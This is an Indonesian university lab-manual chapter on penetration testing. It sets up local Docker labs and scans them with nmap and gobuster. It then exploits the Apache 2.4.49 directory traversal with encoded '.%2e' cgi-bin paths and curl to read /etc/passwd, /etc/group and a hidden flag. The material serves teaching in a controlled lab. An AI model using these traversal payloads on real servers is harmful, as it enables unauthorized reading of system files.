MODUL PRAKTIKUM

KEAMANAN INFORMASI

DISAMPAIKAN PADA
SEMESTER GENAP
TAHUN AKADEMIK 2023/2024

DEPARTEMEN TEKNIK INFORMATIKA
FAKULTAS ILMU KOMPUTER
UNIVERSITAS BRAWIJAYA
MALANG

TIM PENYUSUN

1. ADHITYA BHAWIYUGA, S.KOM, M.SC.
2. ARI KUSYANTI, S.T., M.SC.
3. DANY PRIMANITA KARTIKASARI, S.T., M.KOM.
4. FARIZ ANDRI BAKHTIAR, S.T., M.KOM.
5. M. ALI FAUZI, S.KOM., M.KOM., PH.D.

BAB 3

PENGUJIAN PENETRASI

3.1. DASAR TEORI

Penetration Testing merupakan proses pengujian keamanan pada suatu sistem keamanan komputer atau jaringan dengan melakukan simulasi serangan dari sisi atau sudut pandang penyerang (attacker). Tujuan dari Penetration Testing ini untuk menemukan kelemahan atau celah keamanan dari suatu sistem. Hasil dari pengujian ini dapat membantu organisasi untuk mengetahui kelemahan keamanan pada sistem mereka, sehingga dapat memperbaiki celah tersebut sebelum diserang oleh penyerang yang sebenarnya. Hal ini dapat membantu organisasi untuk meningkatkan keamanan informasi dan mengurangi risiko keamanan data yang diakibatkan oleh serangan dari pihak yang tidak bertanggung jawab.

CVE singkatan dari “Common Vulnerability Exposures”, cara pengidentifikasian standar pada suatu celah keamanan yang ditemukan pada perangkat lunak, maupun sistem lainnya. Tujuan dari CVE adalah untuk memudahkan koordinasi dan pertukaran informasi tentang kerentanan yang sama antarorganisasi dan peneliti keamanan. Setiap CVE memiliki deskripsi rinci tentang kerentanan atau paparan yang terkait, termasuk detail tentang dampak yang mungkin terjadi dan langkah-langkah yang dapat diambil untuk memperbaikinya. Informasi ini dapat digunakan oleh organisasi atau pengguna untuk mengevaluasi risiko keamanan dan mengambil tindakan yang diperlukan untuk melindungi sistem atau perangkat lunak mereka dari kerentanan yang telah diidentifikasi. Setiap CVE terdiri dari nomor unik, yaitu format "CVE-YYYY-NNNN". Bagian pertama adalah tahun di mana CVE dikeluarkan dan bagian kedua adalah nomor urut. Misalnya, CVE-2023-1234 menunjukkan bahwa CVE ini dikeluarkan pada tahun 2023 dan memiliki nomor urut 1234.

Directory Traversal merupakan serangan yang terjadi pada saat penyerang mencoba untuk mengakses file atau direktori di luar sistem yang seharusnya dapat diakses oleh aplikasi atau sistem. Dengan memanfaatkan karakter khusus seperti, ../ untuk mengakses file di luar direktori yang seharusnya, serangan ini disebut juga dotdotslash attack, karena memanfaatkan karakter “../”. Serangan Directory Traversal dapat menjadi sangat berbahaya karena dapat memberikan penyerang akses ke file dan direktori yang seharusnya terbatas, dan dapat digunakan sebagai awal untuk serangan lanjutan terhadap sistem.

3.2. TUJUAN PERCOBAAN

1. Mahasiswa mampu memahami konsep Penetration Testing
2. Mahasiswa mampu mempraktikkan proses Penetration Testing
3. Mahasiswa mampu memahami konsep CVE

3.3. ALAT DAN BAHAN

Dalam rangka melaksanakan langkah-langkah praktikum yang terdapat pada bab ini, peserta praktikum perlu menyiapkan beberapa perangkat berikut:

- Perangkat komputer Desktop/Laptop dengan kapasitas RAM minimum 8 GB
- Perangkat lunak virtualisasi (Oracle VM VirtualBox/VMWare Workstation)
- Koneksi internet
- Beberapa tools yang dibutuhkan dalam praktikum

3.4. PROSEDUR PERCOBAAN

Instalasi Persiapan Lingkungan Praktikum

Berikut merupakan langkah-langkah yang perlu dilakukan dalam mempersiapkan kebutuhan praktikum :

1. Buka terminal pada sistem operasi Linux.
2. Pada terminal, lakukan instalasi gobuster
   sudo apt install gobuster
3. Lakukan pengecekan hasil instalasi tools, dengan perintah:
   gobuster -h
4. instalasi tools curl, dengan perintah:
   sudo apt install curl
5. Lakukan pengecekan hasil instalasi tools, dengan perintah:
   curl -h
6. Kemudian lakukan cloning github repository untuk lab percobaan bagian 1:
   `git clone https://github.com/adhiyaksactf/ki-pentesting.git`
7. Lakukan cloning github repository untuk lab percobaan bagian 2:
   `git clone https://github.com/noverdy/ki-xss.git`
8. Masuk ke dalam direktori ki-pentesting dengan perintah:
   `cd ki-pentesting`
9. Melakukan build docker untuk ki-pentesting dengan perintah:
   `sudo docker-compose up -d`
10. Jalankan perintah berikut untuk mengecek apakah service sudah berjalan:
    `sudo docker ps`
11. Apabila berhasil maka service akan berjalan pada port 80, sehingga dapat mengakses pada browser dengan alamat localhost:80
12. Kembali pada terminal Anda lakukan perintah untuk masuk ke direktori ki-xss:
    `cd ../ki-xss`
13. Melakukan build docker untuk ki-xss dengan perintah:
    `sudo docker-compose up -d`
14. Jalankan perintah berikut untuk mengecek apakah service sudah berjalan:
    `sudo docker ps`
15. Apabila berhasil maka service akan berjalan pada port 1337, sehingga dapat mengakses pada browser dengan alamat localhost:1337

Basic Penetration Testing

Berikut ini langkah-langkah yang perlu dilakukan dalam menyelesaikan lab praktikum:

- **Network Scanning**

1. Pada terminal Anda lakukan network scanning pada target, dengan perintah:
   nmap localhost Port apa yang terbuka dan berjalan pada alamat tersebut?

Berikan Screenshot dan Penjelasan

2. Selanjutnya, kita perlu mendeteksi Sistem operasi, versi, dan informasi lainnya pada port yang terbuka dan berjalan tersebut, dengan perintah:
   `nmap -p MasukkanPort -A -v localhost`
   Coba jelaskan servis apa yang berjalan pada port tersebut, dan apa kerentanan yang mungkin dimiliki pada servis tersebut?

Berikan Screenshot dan Penjelasan

- **Directory Scanning**

3. Untuk mengetahui direktori atau asset yang dimiliki dari sebuah servis atau website kita dapat menggunakan tools directory scanning dengan wordlist yang sudah kita siapkan sebelumnya. Dengan menggunakan perintah:
   `gobuster dir -w WORDLIST.txt -u localhost`

Berikan *Screenshot*

- **Eksploitasi Temuan Kerentanan CVE**

4. Setelah melakukan pengumpulan informasi melalui kedua tools tersebut, kita dapat mengetahui versi apache yang digunakan pada web server tersebut adalah apache HTTP Server 2.4.49, Pada apache versi tersebut dapat kita eksploitasi untuk membaca file sensitif di dalamnya, dengan menggabungkan serangan directory traversal dengan URL encoding. Jelaskan bagaimana mekanisme serangan tersebut dapat terjadi?
   `localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetPathDirectory`

Berikan Penjelasan

5. Coba manfaatkan kembali tools gobuster untuk menemukan direktori yang tersembunyi dengan memanfaatkan kerentanan dari servis tersebut yang telah Anda ketahui.
   `gobuster dir -w WORDLIST.txt -u localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e`

Berikan *Screenshot*

Berikutnya, apabila Anda menemukan direktori yang tersembunyi dengan HTTP response 200, cobalah akses direktori tersebut dengan bantuan tools curl.

```
curl  localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath
```

Ubahlah TargetDirectoryPath menjadi direktori yang telah Anda temukan sebelumnya.

Berikan *Screenshot*

6. Berikutnya, untuk menguji coba lebih lanjut kerentanan yang kita temukan. Coba akses /etc/passwd, /etc/group, dan /etc/hostname gunakan tools curl untuk memudahkan serangan. Coba jelaskan apa yang Anda temukan saat mengakses file tersebut?

```
curl  localhost:80/cgi-bin/.%2e/.%2e/.%2e/.%2e/TargetDirectoryPath
```

Berikan *Screenshot* dan Penjelasan
passwd : [Cukup 5 baris awal] group : [Cukup 5 baris awal] hostname :

7. Terakhir, temukan flag yang tersimpan dalam servis tersebut.

Berikan *Screenshot*
Flag :

3.5. KESIMPULAN

Pada bagian ini, tulislah kesimpulan apa saja yang didapat dari hasil melaksanakan kegiatan-kegiatan pada bab ini.
